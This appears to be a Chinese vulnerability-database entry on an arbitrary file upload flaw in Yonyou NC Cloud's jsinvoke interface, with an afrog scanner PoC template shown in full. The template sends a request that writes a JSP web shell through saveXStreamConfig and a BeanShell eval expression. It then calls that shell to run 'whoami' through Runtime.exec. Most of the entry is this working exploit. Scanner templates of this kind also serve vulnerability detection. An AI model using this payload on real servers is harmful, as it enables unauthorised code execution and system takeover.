yonyou-cloud-jsinvoke-uploadfile: 用友 NC Cloud jsinvoke 任意文件上传

日期: 2025-09-01 | 影响软件: 用友NC Cloud | POC: 已公开

漏洞描述

用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器中，获取系统权限 app="用友-NC-Cloud"

PoC代码[已公开]

id: yonyou-cloud-jsinvoke-uploadfile

info:
  name: 用友 NC Cloud jsinvoke 任意文件上传
  author: zan8in
  severity: critical
  verified: true
  description: |
    用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器中，获取系统权限
    app="用友-NC-Cloud"
  reference:
    - https://peiqi.wgpsec.org/wiki/oa/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20NC%20Cloud%20jsinvoke%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html
  tags: yonyou,fileupload
  created: 2023/08/09

set:
  r1: randomLowercase(6)
rules:
  r0:
    request:
      method: POST
      path: /uapjs/jsinvoke/?action=invoke
      headers:
        Content-Type: application/json
      body: |
        {
            "serviceName":"nc.itf.iufo.IBaseSPService",
            "methodName":"saveXStreamConfig",
            "parameterTypes":[
                "java.lang.Object",
                "java.lang.String"
            ], 
            "parameters":[
                "${param.getClass().forName(param.error).newInstance().eval(param.cmd)}",
                "webapps/nc_web/{{r1}}.jsp"
            ]
        }
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /{{r1}}.jsp?error=bsh.Interpreter&cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec(%22whoami%22).getInputStream()) 
    expression: |
      response.status == 200 && 
      response.body.ibcontains(b'<string>') && 
      response.body.ibcontains(b'<string>') &&  
      response.body.ibcontains(b'</string>') &&  
      response.body.ibcontains(b'<?xml') &&  
      (response.body.ibcontains(b'administrator') || response.body.ibcontains(b'root'))
expression: r0() && r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/yonyou-cloud-jsinvoke-uploadfile.yaml

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